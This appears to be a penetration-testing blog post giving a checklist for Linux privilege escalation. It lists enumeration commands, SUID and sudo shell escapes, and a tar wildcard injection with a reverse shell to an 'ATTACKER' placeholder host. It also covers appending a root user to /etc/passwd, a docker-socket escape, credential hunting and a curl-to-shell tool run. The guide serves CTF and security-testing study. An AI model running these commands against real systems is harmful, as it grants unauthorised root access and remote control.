Linux Privilege Escalation: The Checklist I Actually Use

You’ve got a shell. You’re running as www-data or some low-privilege user. Now what?

Privilege escalation on Linux is part methodology, part intuition. This is the checklist I actually run — the one I’ve refined across dozens of CTF boxes and real engagements. No tool dumps the whole path for you. You need to understand what you’re looking at.

0. Situational Awareness First Link to heading

Before running any scripts, understand where you are.

# Who am I, what groups?
id
whoami

# What OS / kernel version?
uname -a
cat /etc/os-release

# What's running?
ps aux

# Network — what's listening locally?
ss -tlnp
netstat -tlnp

# What users exist?
cat /etc/passwd | grep -v nologin | grep -v false

1. SUID / SGID Binaries Link to heading

This is often the first thing I check on CTF boxes.

find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

Cross-reference anything unusual against GTFOBins — a database of Unix binaries that can be abused for privilege escalation.

Common wins:

• find with SUID → find . -exec /bin/sh -p \; -quit
• vim with SUID → :!/bin/sh
• python / perl / ruby with SUID → trivial shell
• Custom binaries → examine them with strings, ltrace, strace

2. Sudo Misconfigurations Link to heading

sudo -l

Look for entries like:

(ALL) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/python3 /opt/backup.py

Any NOPASSWD entry is worth examining. Even if it’s a specific script, check if you can write to it or if it calls something you control.

# If sudo lets you run vim
sudo vim -c ':!/bin/bash'

# If sudo lets you run python
sudo python3 -c 'import os; os.system("/bin/bash")'

3. Cron Jobs Link to heading

cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/root 2>/dev/null

# Watch for jobs running as root
# Useful tool:
pspy64   # process spy — shows all processes including those run by cron

What you’re looking for:

• Writable scripts called by root’s cron
• Relative paths in scripts (PATH hijacking)
• Wildcard injection in tar/rsync commands

# Classic wildcard injection in tar
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh shell.sh'
echo "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" > shell.sh

4. Writable Files and Misconfigurations Link to heading

# Find world-writable files (excluding /proc, /sys)
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys

# Can I write to /etc/passwd? (old systems)
ls -la /etc/passwd
# If writable, add a root user:
echo 'hacker:$(openssl passwd password):0:0:root:/root:/bin/bash' >> /etc/passwd

5. Credentials in Files Link to heading

# Config files, env files, history
find / -name "*.conf" -o -name "*.config" -o -name ".env" 2>/dev/null | xargs grep -l "password\|passwd\|secret\|key" 2>/dev/null

# Bash history
cat ~/.bash_history
cat /root/.bash_history 2>/dev/null

# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null

# Database connection strings
grep -r "DB_PASS\|database_password\|mysql://" /var/www/ 2>/dev/null

6. Kernel Exploits Link to heading

Last resort — noisy, risky, and version-specific. But sometimes the only path.

uname -a
# e.g.: Linux box 4.4.0-116-generic

Search for kernel exploits by version. Well-known ones:

• Dirty COW (CVE-2016-5195) — Linux < 4.8.3
• PwnKit (CVE-2021-4034) — polkit pkexec, nearly universal
• DirtyPipe (CVE-2022-0847) — Linux 5.8–5.16.11

# Check if vulnerable to PwnKit
ls -la /usr/bin/pkexec

7. Containers and Special Environments Link to heading

# Am I in a Docker container?
cat /.dockerenv
cat /proc/1/cgroup | grep docker

# Mounted docker socket?
ls -la /var/run/docker.sock
# If accessible:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Tools to Automate the Grunt Work Link to heading

Once you understand what you’re looking for, these save time:

• LinPEAS — comprehensive enum, color-coded output
• LinEnum — lighter, faster
• pspy — watch processes without root
• linux-exploit-suggester — kernel vuln suggestions based on kernel version

# Quick LinPEAS run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

The difference between a good pentest and a bad one is enumeration depth. These techniques cover 90% of what you’ll encounter. The other 10% is reading source code, understanding application logic, and lateral thinking.

Stay curious. Root is always somewhere.